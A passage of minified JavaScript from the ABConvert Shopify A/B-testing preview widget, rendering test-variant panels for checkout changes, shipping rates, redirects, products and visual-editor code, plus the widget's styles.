901\n      <span class="abconvert-checkout-method-chip">${(0,r.Z)(n.from)}</span>\n      <span class="abconvert-checkout-rename-arrow">${u.arrow}</span>\n      <span class="abconvert-checkout-method-chip abconvert-checkout-method-chip-strong">${(0,r.Z)(e)}</span>\n    </div>\n  `}function y(n){return`abconvert-checkout-section-${n}`}function k(n,e,t){const o=e.map((e=>"delivery"===n||"payment"===n?function(n){const e=x[n.op];if(!e)return"";const t=l[n.op]?n.op:"unknown",o=l[n.op]||(0,r.Z)(n.op);return`\n    <div class="abconvert-checkout-row">\n      <span class="abconvert-checkout-icon abconvert-checkout-icon-${t}">${u[n.op]||""}</span>\n      <div class="abconvert-checkout-body">\n        <div class="abconvert-checkout-row-head">\n          <span class="abconvert-checkout-type abconvert-checkout-type-${t}">${o}</span>\n          ${e.head(n)}\n        </div>\n        ${e.body(n)}\n      </div>\n    </div>\n  `}(e):"cart"===n?function(n){const e=n.props||{},t=e.buttonLabel?.trim()||"Edit",o=[b("Change variant",!!e.allowChangeVariant),b("Edit quantity",!!e.allowEditQuantity),b("Remove items",!!e.allowRemoveItems)].join("");return`\n    <div class="abconvert-checkout-row">
901\n      <span class="abconvert-checkout-icon">${u["cart-control"]}</span>\n      <div class="abconvert-checkout-body">\n        <div class="abconvert-checkout-row-head">\n          <span class="abconvert-checkout-type">${d["cart-control"]}</span>\n          <span class="abconvert-checkout-row-text-inline">"${(0,r.Z)(t)}"</span>\n        </div>\n        <div class="abconvert-checkout-chip-row">${o}</div>\n      </div>\n    </div>\n  `}(e):function(n){const{meta:e,text:t,metaTone:o}=function(n){const e=n.props||{};switch(n.blockType){case"heading":return{meta:e.size?$(e.size):"Large",text:`"${e.title?.trim()||"(no title)"}"`};case"banner":return{meta:e.tone?$(e.tone):"Auto",text:`"${e.title?.trim()||"(no title)"}"`,metaTone:(t=e.tone,"success"===t||"critical"===t||"warning"===t||"info"===t?t:"")};case"trust-badge":{const n=e.items||[];return{meta:`${$(e.layout||"vertical")} · ${n.length}`,text:n.map((n=>n.title)).filter(Boolean).join(" · ")||"(no items)"}}case"button":{const n=e.items||[],t=n[0],o=t?.variant?$(t.variant):"Primary";return{meta:e.fullWidth?`${o} · Full width`:o,text:g(n)}}case"benefit":{const n=e.items||[];return{meta:`${$(e.layout||"list")} · ${n.length}`,text:e.title?.trim()?`"${e.title}" · ${n.length} ${1===n.length?"item":"items"}`:n.map((n=>n.text)).filter(Boolean).join(" · ")||"(no items)"}}case"image":{const n=e.images||[],t=$(e.layout||(n.length>1?"carousel":"single")),o=n.length>1?`${t} · ${n.length}`:t,r=function(n){if(!n.length)return"(no images)";const e=n[0],t=h(e?.url)||"(image)";if(1===n.length)return t;const o=h(n[1]?.url);return 2===n.length&&o?`${t} · ${o}`:o?`${t} · ${o} · +${n.length-2}`:`${t} · +${n.length-1}`}(n);return{meta:o,text:r}}case"payment-icon":{const n=e.icons||[];return{meta:String(n.length),text:n.length?n.join(" · "):"(no icons)"}}case"upsell-product-tile":return{meta:`${"manual"===e.recommendation?"Specific products":"Auto recommend"} · max ${e.maxProducts??1}`,text:e.title?.trim()?`"${e.title}"${m(e)}`:`Product offer${m(e)}`};default:return{meta:"",text:""}}var t}(n),i=d[n.blockType]||(0,r.Z)(n.blockType),a=e?`<span class="abconvert-checkout-meta${o?` abconvert-checkout-meta-${o}`:""}">${(0,r.Z)(e)}</span>`:"";return`\n    <div class="abconvert-checkout-row">
901\n      <span class="abconvert-checkout-icon">${u[n.blockType]||""}</span>\n      <div class="abconvert-checkout-body">\n        <div class="abconvert-checkout-row-head">\n          <span class="abconvert-checkout-type">${i}</span>\n          ${a}\n        </div>\n        <div class="abconvert-checkout-row-text">${(0,r.Z)(t)}</div>\n      </div>\n    </div>\n  `}(e))),i=y(n),a=function(n,e){return"cart"===n?"on":String(e.length)}(n,e),s=t?"expanded":"";return`\n    <div class="abconvert-checkout-section">\n      <button id="${i}-toggle" class="abconvert-checkout-section-head" type="button">\n        <span class="abconvert-checkout-section-label">${c[n]}</span>\n        <span class="abconvert-checkout-section-meta">\n          <span class="abconvert-checkout-section-count">${a}</span>\n          <span id="${i}-arrow" class="abconvert-checkout-section-arrow ${s}" aria-hidden="true"><svg viewBox="0 0 12 12" width="12" height="12" fill="none"><path d="M3 4.5 6 7.5l3-3" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/></svg></span>\n        </span>\n      </button>\n      <div id="${i}-content" class="abconvert-checkout-section-rows ${s}">\n        ${o.join("")}\n      </div>\n    </div>\n  `}function E(n){let{groups:e,currentGroupIndex:t,expanded:r=!1,expandedSections:c,embedded:d=!1}=n;if(!e||0===e.length)return"";const l=e[t]??e[0];if(!l)return"";const u=function(n){const e={delivery:[],payment:[],content:[],cart:[],upsell:[]};for(const o of n||[])if("delivery"===o.kind)e.delivery.push(o);else if("payment"===o.kind)e.payment.push(o);else if("block"===o.kind){const n=s[o.blockType];n?e[n].push(o):(t=o.blockType,p.has(t)||(p.add(t),"undefined"!=typeof console&&console.warn&&console.warn(`[ABConvert] CheckoutTestPanel: unknown blockType "${t}". Add it to BLOCK_TYPE_TO_CATEGORY in panels/CheckoutTestPanel.js.`)))}var t;return e}(l.modifications),v=a.filter((n=>u[n].length>0)).map((n=>k(n,u[n],function(n,e){const t=y(n);return!e||"function"!=typeof e.has||!e.has(`${t}:collapsed`)}(n,c)))),f=v.length?v.join(""):'<div class="abconvert-checkout-empty">No modifications in this variant.</div>';return(0,o.q)({id:i,title:"Checkout modifications",content:`<div class="abconvert-checkout-panel">${f}</div>`,expanded:r,embedded:d})}function C(n,e){(0,o.s)(n,i,"2000px",e);for(const t of a)I(n,y(t),e)}function I(n,e,t){const o=n.querySelector(`#${e}-toggle`),r=n.querySelector(`#${e}-content`),i=n.querySelector(`#${e}-arrow`);o&&r&&o.addEventListener("click",(()=>{const n=r.classList.toggle("expanded");i&&i.classList.toggle("expanded",n),t&&t(`${e}:collapsed`,!n)}))}},6764:(n,e,t)=>{t.d(e,{d:()=>i,y:()=>a});var o=t(6868),r=t(7386);function i(n){let{groups:e,currentGroupIndex:t,expanded:i=!1,embedded:a=!1}=n;if(!e||0===e.length)return"";const c=(e[t]||e[0]).zoneRates||[];if(0===c.length)return"";const s=`\n    <div class="abconvert-card">\n      ${c.map((n=>{return`\n    <div class="abconvert-shipping-zone">\n      <div class="abconvert-shipping-zone-name">${n.zoneName}</div>\n      ${e=n.rates,e&&0!==e.length?e.map((n=>{const e=(0,r.lq)(n.price,n.currency),t=function(n){if(!n||!n.type)return"";if("price"===n.type){const e=n.currency||"USD",t=[];return null!=n.minimum&&t.push(`≥ ${(0,r.lq)(n.minimum,e)}`),null!=n.maximum&&t.push(`≤ ${(0,r.lq)(n.maximum,e)}`),t.join(" & ")}if("weight"===n.type){const e=n.unit||"g",t=[];return null!=n.minimum&&t.push(`≥ ${n.minimum}${e}`),null!=n.maximum&&t.push(`≤ ${n.maximum}${e}`),t.join(" & ")}return""}(n.condition),o=t?`<div class="abconvert-shipping-rate-condition">${t}</div>`:"";return`\n      <div class="abconvert-shipping-rate-row">\n        <span class="abconvert-shipping-rate-name">${n.name}</span>\n        <span class="abconvert-shipping-rate-price">${e}</span>\n        ${o}\n      </div>\n    `})).join(""):'<div class="abconvert-shipping-no-rates">No rates</div>'}\n    </div>\n  `;var e})).join("")}\n    </div>\n  `;return(0,o.q)({id:"abconvert-shipping-config",title:"Shipping Rates",content:s,expanded:i,embedded:a})}function a(n,e){(0,o.s)(n,"abconvert-shipping-config","400px",e)}},6868:(n,e,t)=>{function o(n){let{id:e,title:t,content:o,expanded:r=!1,icon:i="",embedded:a=!1}=n;if(a)return o;const c=r?"expanded":"";return`\n    <div class="abconvert-section">\n      <button id="${e}-toggle" class="abconvert-collapsible-header">
901\n        <span>${i?i+" ":""}${t}</span>\n        <span id="${e}-arrow" class="abconvert-collapsible-arrow ${c}">▼</span>\n      </button>\n      <div id="${e}-content" class="abconvert-collapsible-content ${c}">\n        ${o}\n      </div>\n    </div>\n  `}function r(n,e){let t=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"240px",o=arguments.length>3&&void 0!==arguments[3]?arguments[3]:null;const r=n.querySelector(`#${e}-toggle`),i=n.querySelector(`#${e}-content`),a=n.querySelector(`#${e}-arrow`);if(!r||!i)return;let c=i.classList.contains("expanded");r.addEventListener("click",(()=>{c=!c,c?(i.classList.add("expanded"),i.style.maxHeight=t,a&&a.classList.add("expanded")):(i.classList.remove("expanded"),i.style.maxHeight="0",a&&a.classList.remove("expanded")),o&&o(e,c)})),c&&(i.style.maxHeight=t)}t.d(e,{q:()=>o,s:()=>r})},7386:(n,e,t)=>{t.d(e,{$g:()=>r,Rj:()=>a,SS:()=>s,aO:()=>l,lq:()=>i});var o=t(9698);function r(n,e){const t=e||window.Shopify?.currency?.active||"USD",o="string"==typeof n?parseFloat(n):n;if(isNaN(o))return"";try{return new Intl.NumberFormat(void 0,{style:"currency",currency:t}).format(o)}catch(n){return`$${o.toFixed(2)}`}}function i(n,e){return r((0,o.i9)(n,e),e)}function a(n,e,t){const o=(window.Shopify?.country||"").toUpperCase(),r=n?.testGroups?.[e]?.countryMap;return o&&r&&void 0!==r[o]?o:t}function c(n,e){if(!e||void 0===n?.[e])return null;const t=n[e];return"object"==typeof t&&null!==t?{price:t.price,compareAtPrice:t.compareAtPrice}:{price:t,compareAtPrice:null}}function s(n,e,t,o){if(!n?.testGroups?.[e])return null;const r=n.testGroups[e];for(const n of[t,o]){const e=c(r.countryMap,n);if(e)return{...e,country:n}}return{price:r.price,compareAtPrice:r.compareAtPrice,country:null}}const d={US:"USD",CA:"CAD",GB:"GBP",DE:"EUR",FR:"EUR",IT:"EUR",ES:"EUR",NL:"EUR",AU:"AUD",NZ:"NZD",JP:"JPY",CN:"CNY",HK:"HKD",SG:"SGD",KR:"KRW",IN:"INR",BR:"BRL",MX:"MXN",CH:"CHF",SE:"SEK",NO:"NOK",DK:"DKK",PL:"PLN",AE:"AED",SA:"SAR",ZA:"ZAR",TH:"THB",MY:"MYR",PH:"PHP",ID:"IDR",VN:"VND",TW:"TWD",IL:"ILS",TR:"TRY",RU:"RUB",CZ:"CZK",HU:"HUF",RO:"RON",CL:"CLP",CO:"COP",AR:"ARS",PE:"PEN"};function l(n){let{currency:e,primaryCountry:t,countryCurrencies:o}=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return n?.country?function(n,e){return e?.[n]?e[n]:d[n]||"USD"}(n.country,o):e||o?.[t]||window.Shopify?.currency?.active||"USD"}},7626:(n,e,t)=>{t.d(e,{A:()=>i});var o=t(63);function r(n){n.searchParams.delete("_abr")}const i={displayName:"URL Redirect Test",normalize:function(n){const e={};return(n?.experiments||[]).forEach((n=>{if("Preview"!==n.status)return;const t=n.experimentId;e[t]={id:t,name:n.name||"URL Redirect Test",experimentId:n.numericId||t,version:n.version||"v1",status:n.status||"Active",startTime:n.startTime,trafficAllocationPercent:n.trafficAllocationPercent,audienceTargeting:n.audienceTargeting,forceAssignRules:n.forceAssignRules,groups:(n.testGroups||[]).map((n=>({name:n.name,percentage:n.percentage,isControl:n.isControl,redirectRules:n.variation?.rules||[],legacyUrl:n.url||""}))),_original:n}})),e},renderPanel:function(n,e){const{experimentData:t,currentGroupIndex:r}=n,i=t.groups||[];return(0,o.i)({groups:i,currentGroupIndex:r,expanded:e.has("abconvert-redirect-rules"),embedded:n.embedded})},initPanelEvents:function(n,e,t){(0,o.L)(n,t)},onGroupSwitch:function(n,e){const t=new URL(window.location.href);return r(t),window.location.href=t.toString(),!0},stripGroupSwitchParams:r}},8368:(n,e,t)=>{t.d(e,{A:()=>r});var o=t(6764);const r={displayName:"Shipping Test",normalize:function(n){const e={};return(n?.experiments||[]).forEach((t=>{"Preview"===t.status&&(e[t.experimentId]={id:t.experimentId,name:t.name||"Shipping Test",experimentId:t.numericId||t.experimentId,version:n.version||"v2",status:t.status,startTime:t.startTime,trafficAllocationPercent:t.trafficAllocationPercent,audienceTargeting:t.audienceTargeting,forceAssignRules:t.forceAssignRules,groups:(t.testGroups||[]).map((n=>({name:n.name,percentage:n.percentage,isControl:n.isControl,id:n.id,zoneRates:n.zoneRates||[]}))),_original:t})})),e},renderPanel:function(n,e){const{experimentData:t,currentGroupIndex:r}=n,i=t.groups||[];return(0,o.d)({groups:i,currentGroupIndex:r,expanded:e.has("abconvert-shipping-config"),embedded:n.embedded})},initPanelEvents:function(n,e,t){(0,o.y)(n,t)}}},8711:(n,e,t)=>{t.d(e,{K:()=>c,j:()=>s});var o=t(6868),r=t(7386),i=t(4788);
901function a(n,e,t,o,a){if(!n||0===n.length)return"";const c=n.map((n=>function(n,e,t,o,a){const c=(0,i.hM)(n.url||"#"),s=n.title||"Untitled Product",d=n.variantCount||0,l=1===d?"1 variant":`${d} variants`,u=n.variants?.[0],p=u?function(n,e,t,o){const i=function(n,e,t,o){const i=(0,r.Rj)(n,e,t),a=(0,r.SS)(n,e,i,o.primaryCountry);if(!a||void 0===a.price||null===a.price)return"";const c=(0,r.aO)(a,o),s=(0,r.$g)(a.price,c);return a.compareAtPrice&&parseFloat(a.compareAtPrice)>0?`<s>${(0,r.$g)(a.compareAtPrice,c)}</s> ${s}`:s}(n,e,t,o);return i?`<div class="abconvert-product-price">${i}</div>`:""}(u,t,o,a):"";return`\n    <a href="${c}" class="abconvert-product-item">\n      ${n.image?`<img src="${n.image}" alt="${s}" class="abconvert-product-image" />`:""}\n      <div class="abconvert-product-info">\n        <div class="abconvert-product-title">${s}</div>\n        ${p}\n        <div class="abconvert-product-variants">${l}</div>\n      </div>\n      <span class="abconvert-product-arrow">→</span>\n    </a>\n  `}(n,0,t,o,a))).join("");return`\n    <div class="abconvert-card">\n      <div class="abconvert-product-list">\n        ${c}\n      </div>\n    </div>\n  `}function c(n){let{products:e,experimentId:t,groupIndex:r,selectedMarket:i,shop:c={},expanded:s=!1,embedded:d=!1}=n;if(!e||0===e.length)return"";const l=a(e,0,r,i,c);return(0,o.q)({id:"abconvert-products",title:`Products (${e.length})`,content:l,expanded:s,embedded:d})}function s(n,e){(0,o.s)(n,"abconvert-products","240px",e)}},9698:(n,e,t)=>{t.d(e,{i9:()=>r});const o=new Set(["BIF","CLP","DJF","GNF","ISK","JPY","KMF","KRW","PYG","RWF","UGX","VND","VUV","XAF","XOF","XPF"]);function r(n,e){const t=Number(n??0);return Number.isFinite(t)?t/function(n){return o.has(String(n??"").toUpperCase())?1:100}(e):0}},9885:(n,e,t)=>{t.d(e,{H:()=>v,k:()=>p});var o=t(6868),r=t(2639);function i(n){return-1!==n.indexOf("*")}function a(n){const e=Array.isArray(n.targetUrls)?n.targetUrls.filter((n=>"string"==typeof n&&n.length>0)):[],t=e.length>0?e:n.targetUrl?[n.targetUrl]:["/"];return[...new Set(t.map((n=>function(n){try{return n.startsWith("http")?new URL(n).pathname||"/":n||"/"}catch{return n||"/"}}(n))))]}function c(n,e){if(!n||0===n.length)return[];const t=new Set;for(const e of n)for(const n of e.mutations||[])for(const e of a(n))t.add(e);const o=(n[e]||{}).mutations||[],r={};for(const n of t)r[n]={url:n,changeCount:0};for(const n of o)for(const e of a(n))r[e]&&r[e].changeCount++;return Object.values(r)}function s(n,e,t){return`\n    <div class="abconvert-ve-code-block">\n      <button class="abconvert-ve-code-toggle" data-target="${t}" aria-expanded="false" aria-controls="${t}">\n        <span class="abconvert-ve-code-chevron" id="${t}-chevron">\n          <svg width="12" height="12" viewBox="0 0 20 20" fill="currentColor">\n            <path d="M6 6l4 4 4-4" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round"/>\n          </svg>\n        </span>\n        <span class="abconvert-ve-code-label">${n}</span>\n      </button>\n      <div class="abconvert-ve-code-content" id="${t}">\n        <pre class="abconvert-ve-code-pre">${(0,r.Z)(e)}</pre>\n      </div>\n    </div>\n  `}function d(n,e){const t=c(n,e);if(0===t.length)return'<div class="abconvert-ve-empty">No page modifications</div>';const o=window.location.pathname,a=t.map((n=>function(n,e){const t=1===n.changeCount?"1 change":`${n.changeCount} changes`,o=i(n.url),a=function(n,e){if(i(n))try{return function(n){const e=n.replace(/\*\*/g,"�").replace(/\*/g,"�").replace(/[.+?^${}()|[\]\\]/g,"\\$&").replace(new RegExp("�","g"),".*").replace(new RegExp("�","g"),"[^/]*");return new RegExp("^"+e+"$")}(n).test(e)}catch{return!1}return n===e}(n.url,e),c=n.url.startsWith("http")||n.url.startsWith("/")?(0,r.Z)(n.url):"#",s=`\n      <div class="abconvert-page-icon">\n        <svg width="16" height="16" viewBox="0 0 20 20" fill="currentColor">\n          <path d="M4 3a2 2 0 00-2 2v10a2 2 0 002 2h12a2 2 0 002-2V5a2 2 0 00-2-2H4zm0 1.5h12a.5.5 0 01.5.5v1.5h-13V5a.5.5 0 01.5-.5zM3.5 8h13v7a.5.5 0 01-.5.5H4a.5.5 0 01-.5-.5V8z"/>\n        </svg>\n      </div>\n      <div class="abconvert-page-info">\n        <div class="abconvert-page-path">${(0,r.Z)(n.url)}</div>\n        <div class="abconvert-page-changes">${t}</div>\n      </div>\n      ${o?"":`<span class="abconvert-product-arrow">
901${a?'<svg width="16" height="16" viewBox="0 0 20 20" fill="currentColor"><path d="M7.293 14.707a1 1 0 010-1.414L10.586 10 7.293 6.707a1 1 0 011.414-1.414l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414 0z"/></svg>':"→"}</span>`}\n  `;return o?`\n    <div class="abconvert-page-item${a?" active":""}">${s}</div>\n  `:`\n    <a href="${c}" class="abconvert-page-item${a?" active":""}">${s}</a>\n  `}(n,o))).join("");return`\n    <div class="abconvert-card">\n      <div class="abconvert-page-list">${a}</div>\n    </div>\n  `}function l(n){const e=n.customCode||{};return{css:(e.css??n.customCSS??"").trim(),js:(e.js??n.customJS??"").trim()}}function u(n,e){const{css:t,js:o}=l(n);return t||o?`\n    <div class="abconvert-ve-code-hint">Applied to all pages</div>\n    <div class="abconvert-card">\n      <div class="abconvert-ve-code-blocks">\n        ${t?s("CSS",t,`ve-css-${e}`):""}\n        ${o?s("JS",o,`ve-js-${e}`):""}\n      </div>\n    </div>\n  `:'<div class="abconvert-ve-empty">No custom code</div>'}function p(n){let{groups:e,groupIndex:t=0,expanded:r=!1,activeTab:i,embedded:a=!1}=n;c(e,t);const s=e[t]||{},p=e.some((n=>(n.mutations||[]).length>0)),v=e.some((n=>{const{css:e,js:t}=l(n);return e||t})),f=i||(p?"modifications":v?"custom-code":"modifications"),b=`\n    \n    <div class="abconvert-ve-tabs" role="tablist">\n      <button class="abconvert-ve-tab${"modifications"===f?" active":""}${p?"":" disabled"}" role="tab" data-tab="modifications" aria-selected="${"modifications"===f}"${p?"":" disabled"}>\n        Modifications\n      </button>\n      <button class="abconvert-ve-tab${"custom-code"===f?" active":""}${v?"":" disabled"}" role="tab" data-tab="custom-code" aria-selected="${"custom-code"===f}"${v?"":" disabled"}>\n        Custom Code\n      </button>\n    </div>\n  \n    <div id="abconvert-ve-tab-content">${"custom-code"===f?u(s,t):d(e,t)}</div>\n  `;return(0,o.q)({id:"abconvert-visual-editor-pages",title:"Visual Editor Config",content:b,expanded:r,embedded:a})}function v(n,e,t,r){(0,o.s)(n,"abconvert-visual-editor-pages","500px",e);const i=n.querySelectorAll(".abconvert-ve-tab");i.forEach((e=>{e.addEventListener("click",(()=>{if(e.disabled||e.classList.contains("active"))return;const o=e.dataset.tab;i.forEach((n=>{n.classList.toggle("active",n===e),n.setAttribute("aria-selected",n===e?"true":"false")}));const a=n.querySelector("#abconvert-ve-tab-content");if(a&&r){const{groups:e,groupIndex:t}=r,i=e[t]||{};"modifications"===o?a.innerHTML=d(e,t):(a.innerHTML=u(i,t),f(n))}t&&t(o)}))})),f(n)}function f(n){n.querySelectorAll(".abconvert-ve-code-toggle").forEach((e=>{e.addEventListener("click",(()=>{const t=e.dataset.target,o=n.querySelector(`#${t}`),r=n.querySelector(`#${t}-chevron`);if(!o)return;const i=o.classList.contains("expanded");o.classList.toggle("expanded",!i),r&&r.classList.toggle("expanded",!i),e.setAttribute("aria-expanded",i?"false":"true")}))}))}}},e={};function t(o){var r=e[o];if(void 0!==r)return r.exports;var i=e[o]={exports:{}};return n[o](i,i.exports,t),i.exports}t.d=(n,e)=>{for(var o in e)t.o(e,o)&&!t.o(n,o)&&Object.defineProperty(n,o,{enumerable:!0,get:e[o]})},t.o=(n,e)=>Object.prototype.hasOwnProperty.call(n,e);const o="#ffffff",r="#f1f1f1",i="#f7f7f7",a="#f1f1f1",c="#cdfee1",s="#fea3a3",d="#fee3e3",l="#91d0ff",u="#e6f3ff",p="#fff4d4",v="#eef6ff",f="#303030",b="#616161",g="#b5b5b5",m="#007f5c",h="#c72b2b",$="#005fcc",x="#785a00",w="#005fcc",y="#ffffff",k="#e1e1e1",E="#ebebeb",C="#c7c7c7",I="#005fcc",P="#303030",S="#616161",T="2px",A="4px",R="6px",M="8px",z="12px",L="16px",D="Inter, -apple-system, BlinkMacSystemFont, 'San Francisco', 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif",_="ui-monospace, SFMono-Regular, 'SF Mono', Consolas, 'Liberation Mono', Menlo, monospace",N="11px",j="12px",G="13px",U="14px",B="500",O="600",V="1.4",F="-0.01em",q="4px",H="6px",W="8px",Z="9999px",K="0 0 0 2px #005fcc",X="100ms",Y="200ms",J="cubic-bezier(0, 0, 0.58, 1)",Q="cubic-bezier(0.42, 0, 0.58, 1)",nn="150ms",en="cubic-bezier(0.42, 0, 0.58, 1)",tn="abconvert-preview-widget-styles";var on=t(4788),rn=t(6868);function an(n){return null==n||""===n?"(empty)":"object"==typeof n?JSON.stringify(n):String(n)}function cn(n){return n?"✓":"✗"}function sn(n){return n?"pass":"fail"}function dn(n){return`\n    <div class="abconvert-context-grid">
901\n      <span class="abconvert-context-label">Country:</span>\n      <span class="abconvert-context-value">${an(n.country)}</span>\n      <span class="abconvert-context-label">Device:</span>\n      <span class="abconvert-context-value">${an(n.device)}</span>\n      <span class="abconvert-context-label">Visitor:</span>\n      <span class="abconvert-context-value">${an(n.visitorType)}</span>\n      <span class="abconvert-context-label">Source:</span>\n      <span class="abconvert-context-value">${an(n.trafficSource)}</span>\n      <span class="abconvert-context-label">Referrer:</span>\n      <span class="abconvert-context-value">${an(n.referralDomain)}</span>\n      <span class="abconvert-context-label">Landing:</span>\n      <span class="abconvert-context-value">${an(n.landingPage)}</span>\n    </div>\n  `}function ln(n,e,t,o){const r=n.querySelector("#abconvert-assignment-result");r&&(r.className=`abconvert-result-box visible ${e}`,r.innerHTML=`\n    <div style="font-weight: 500; margin-bottom: 4px;">${t}</div>\n    <div style="font-size: 11px; color: #6d7175;">${o}</div>\n  `)}var un=t(5246),pn=t(947);const vn="abconvert-preview-widget";function fn(){if(window.Shopify?.designMode)return;if(window.__abconvertRuntime?.onsiteEditor?.isPreviewChild?.())return;if(!(0,on.IL)())return;const n=(0,on.P3)("abconvert_experiment_id");n&&(0,on.xX)(n),(0,on.nI)("abconvert_experiment_id"),(0,on.nI)("abconvert_preview_key"),window.abconvertCombinedTestDict&&(0,pn.eo)(un.JB.COMBINED,window.abconvertCombinedTestDict);const e=(0,un.Mo)(),t=Object.keys(e);if(0===t.length)return;const rn=(0,on.tj)();let an,cn;if(rn&&e[rn])an=rn,cn=e[rn];else if(rn){const n=t.find((n=>String(e[n].experimentId)===String(rn)));n&&(an=n,cn=e[n])}const sn=Boolean(an);if(an||(rn&&console.warn("[ABConvert] Preview target experiment not found in registry",{targetExperimentId:rn,availableIds:t,hint:"If the test was just created, confirm its window dict is defined (e.g. window.abconvertCheckoutTestDict) and that the theme snippet is installed."}),an=t[0],cn=e[an]),!cn)return;!sn&&rn||(0,on.xX)(an);const dn=document.getElementById(vn);if(dn){if(dn.dataset.experimentId===an)return;dn.remove()}const ln=(0,on.P3)("preview");null!==ln&&(0,on.gp)(an,parseInt(ln,10));const fn=gn(e,an);!function(){if(document.getElementById(tn))return;const n=`\n    /* =============================================================================\n       ABConvert Preview Widget Styles\n       Polaris-aligned design system (2024)\n       ============================================================================= */\n\n    /* Widget Container - Polaris Card elevated */\n    .abconvert-widget {\n      position: fixed;\n      top: 50%;\n      right: 20px;\n      transform: translateY(-50%);\n      width: 320px;\n      max-height: 80vh;\n      background: ${o};\n      border: 1px solid ${k};\n      border-radius: ${W};\n      box-shadow: 0 8px 16px -4px rgba(0, 0, 0, 0.09), 0 4px 8px -2px rgba(0, 0, 0, 0.04);\n      font-family: ${D};\n      font-size: ${G};\n      line-height: ${V};\n      z-index: 999999;\n      color: ${f};\n      overflow: hidden;\n      display: flex;\n      flex-direction: column;\n    }\n\n    /* Header - Polaris Card header pattern */\n    .abconvert-widget-header {\n      background: ${o};\n      border-bottom: 1px solid ${E};\n      padding: ${z} ${L};\n      cursor: move;\n      display: flex;\n      align-items: center;\n      gap: ${M};\n      user-select: none;\n      flex-shrink: 0;\n    }\n\n    .abconvert-widget-header.dragging {\n      cursor: grabbing;\n    }\n\n    .abconvert-drag-handle {\n      flex-shrink: 0;\n      color: ${S};\n      display: flex;\n      align-items: center;\n    }\n\n    .abconvert-drag-handle svg {\n      width: 16px;\n      height: 16px;\n    }\n\n    .abconvert-widget-title {\n      flex: 1;\n      min-width: 0;\n    }\n\n    .abconvert-widget-title-text {\n      font-weight: ${O};\n      font-size: ${U};\n      color: ${f};\n      letter-spacing: ${F};\n    }\n\n    .abconvert-widget-subtitle {\n      font-size: ${j};\n      color: ${b};\n      margin-top: ${T};\n    }\n\n    /* Close Button - Polaris icon button */\n    .abconvert-close-btn {\n      background: transparent;\n      border: none;\n      cursor: pointer;\n      color: ${S};\n      padding: 0;\n      width: 28px;\n      height: 28px;\n      display: flex;\n      align-items: center;\n      justify-content: center;\n      border-radius: ${q};\n      transition: background ${nn} ${en},\n                  color ${nn} ${en};\n    }\n\n    .abconvert-close-btn:hover {\n      background: ${a};\n      color: #303030;\n    }\n\n    .abconvert-close-btn:focus-visible {\n      outline: none;\n      box-shadow: ${K};\n    }\n\n    .abconvert-close-btn svg {\n      width: 16px;\n      height: 16px;\n    }\n\n    /* Content Area */\n    .abconvert-widget-content {\n      padding: ${L};\n      flex: 1;\n      min-height: 0;\n      overflow-y: auto;\n      scrollbar-width: thin;\n      scrollbar-color: ${k} transparent;\n    }\n\n    .abconvert-widget-content::-webkit-scrollbar {\n      width: 6px;\n    }\n\n    .abconvert-widget-content::-webkit-scrollbar-track {\n      background: transparent;\n    }\n\n    .abconvert-widget-content::-webkit-scrollbar-thumb {\n      background: ${k};\n      border-radius: ${Z};\n    }\n\n    /* Section - Polaris BlockStack pattern */\n    .abconvert-section {\n      margin-bottom: ${L};\n    }\n\n    .abconvert-section:last-child {\n      margin-bottom: 0;\n    }\n\n    .abconvert-section-label {\n      display: block;\n      font-weight: ${B};\n      font-size: ${j};\n      margin-bottom: ${M};\n      color: ${f};\n    }\n\n    /* Select - Polaris Select component */\n    .abconvert-select {\n      width: 100%;\n      padding: ${M} ${z};\n      padding-right: 36px;\n      border: 1px solid ${k};\n      border-radius: ${W};\n      background-color: ${o};\n      font-size: ${G};\n      font-family: ${D};\n      cursor: pointer;\n      color: ${f};\n      appearance: none;\n      background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 20 20' fill='%23616161'
901%3E%3Cpath d='M10 14l-5-5h10l-5 5z'/%3E%3C/svg%3E");\n      background-repeat: no-repeat;\n      background-position: right 12px center;\n      background-size: 12px;\n      transition: border-color ${nn} ${en},\n                  box-shadow ${nn} ${en};\n    }\n\n    .abconvert-select:hover {\n      border-color: ${C};\n    }\n\n    .abconvert-select:focus {\n      outline: none;\n      border-color: ${I};\n      box-shadow: 0 0 0 1px ${I};\n    }\n\n    .abconvert-select:disabled {\n      background-color: ${r};\n      color: ${g};\n      cursor: not-allowed;\n    }\n\n    /* Button - Polaris Button component */\n    .abconvert-btn {\n      display: inline-flex;\n      align-items: center;\n      justify-content: center;\n      gap: ${A};\n      padding: ${R} ${z};\n      min-height: 32px;\n      border-radius: ${W};\n      font-size: ${j};\n      font-weight: ${B};\n      font-family: ${D};\n      line-height: 1;\n      cursor: pointer;\n      text-decoration: none;\n      transition: background ${nn} ${en},\n                  border-color ${nn} ${en},\n                  box-shadow ${nn} ${en};\n    }\n\n    .abconvert-btn:focus-visible {\n      outline: none;\n      box-shadow: ${K};\n    }\n\n    /* Primary Button - Polaris primary variant */\n    .abconvert-btn-primary {\n      background: ${P};\n      color: ${y};\n      border: none;\n      box-shadow: inset 0 -1px 0 0 #b5b5b5;\n    }\n\n    .abconvert-btn-primary:hover {\n      background: #1a1a1a;\n    }\n\n    .abconvert-btn-primary:active {\n      background: #000000;\n    }\n\n    /* Secondary Button - Polaris default variant */\n    .abconvert-btn-secondary {\n      background: ${o};\n      color: ${f};\n      border: 1px solid ${k};\n    }\n\n    .abconvert-btn-secondary:hover {\n      background: ${a};\n      border-color: ${C};\n    }\n\n    .abconvert-btn-secondary:active {\n      background: #ededed;\n    }\n\n    /* Critical/Destructive Button */\n    .abconvert-btn-critical {\n      background: ${o};\n      color: ${h};\n      border: 1px solid #c72b2b;\n    }\n\n    .abconvert-btn-critical:hover {\n      background: ${d};\n    }\n\n    /* Card - Polaris nested card */\n    .abconvert-card {\n      background: ${i};\n      border: 1px solid ${E};\n      border-radius: ${W};\n      padding: ${z};\n    }\n\n    /* Group List - Clickable items for switching groups */\n    .abconvert-group-list {\n      display: flex;\n      flex-direction: column;\n      gap: ${T};\n    }\n\n    .abconvert-group-item {\n      width: 100%;\n      padding: ${M} ${z};\n      border: none;\n      border-radius: ${q};\n      background: transparent;\n      display: flex;\n      justify-content: 